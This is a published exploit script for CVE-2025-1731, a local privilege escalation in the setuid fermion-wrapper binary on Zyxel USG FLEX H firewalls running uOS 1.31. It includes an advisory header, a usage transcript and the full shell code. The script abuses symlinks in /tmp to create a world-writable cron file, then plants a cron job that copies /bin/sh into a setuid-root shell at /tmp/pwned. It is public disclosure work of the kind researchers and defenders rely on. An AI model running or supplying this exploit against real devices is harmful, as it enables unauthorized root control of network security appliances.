1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 |
# Exploit Title: Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation # Date: 2025-04-23 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.zyxel.com/ # Version: Zyxel uOS V1.31 (see https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-= =3D advisory-for-incorrect-permission-assignment-and-improper-privilege-managem= =3D ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025) # Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel FLEX200H with Firmware V1.31(ABWV.0) # CVE: CVE-2025-1731 #!/bin/sh # # raptor_fermion - Zyxel fermion-wrapper root LPE exploit # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info> # # "So we wait, this is our labour... we wait." # -- Anthony Swofford on fuzzing # # The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by # Zyxel with some of their appliances follows symbolic links in the `/tmp` # directory when run with the `register-status` argument. This allows local # users with access to a Linux OS shell to trick the program into creating # writable files at arbitrary locations in the filesystem. This vulnerability # can be exploited to overwrite arbitrary files or locally escalate privileges # from low-privileged user (e.g., `postgres`) to root. # # Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies # exploitation of this vulnerability and may also cause all sorts of havoc. # # ## Vulnerability information # # * CVE ID - CVE-2025-1731 # * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # * CWE-61 - https://cwe.mitre.org/data/definitions/61.html # # ## Relevant links # # * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt # * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731 # * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732 # * https://security.humanativaspa.it/tag/zyxel/ # # ## Usage example # # ``` # $ ./raptor_fermion # raptor_fermion - Zyxel fermion-wrapper root LPE exploit # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info> # # [*] Exploiting /usr/sbin/fermion-wrapper # $ uname -a # Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux # $ id # uid=502(postgres) gid=502(postgres) groups=502(postgres) # $ ls -l /usr/sbin/fermion-wrapper # -rwsr-xr-x 1 root root 44288 Jan9 05:34 /usr/sbin/fermion-wrapper # {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1} # # [+] Everything looks good \o/, wait an hour and check /tmp/pwned # $ ls -l /etc/cron.d/runme # -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme # $ cat /etc/cron.d/runme # * * * * * cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme # # [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p # # [about one hour later...] # # $ ls -l /tmp/pwned # -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned # $ /tmp/pwned -p # # id # uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres) # # R00t D4nc3!!!111! \o/ # ``` # # ## Tested on # # * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47 # * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31 # # *Note: other products and firmware versions may also be vulnerable.* # # ## Special thanks # # * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices # echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit" echo "Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>" echo target="/usr/sbin/fermion-wrapper" tmpfile="/tmp/register_status" runme="/etc/cron.d/runme" shell="/tmp/pwned" echo "[*] Exploiting $target" echo "$ uname -a" uname -a echo "$ id" id echo "$ ls -l $target" ls -l $target umask 0 rm $tmpfile ln -s $runme /tmp/register_status $target register-status echo "* * * * * cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme if [ "`cat $runme 2>/dev/null`" = "" ]; then echo "[!] Error: something went wrong ¯\\_(ツ)_/¯" exit 1 fi echo echo "[+] Everything looks good \\o/, wait an hour and check $shell" echo "$ ls -l $runme" ls -l $runme echo "$ cat $runme" cat $runme echo echo "[+] Run the shell as follows to bypass bash checks: $shell -p" echo |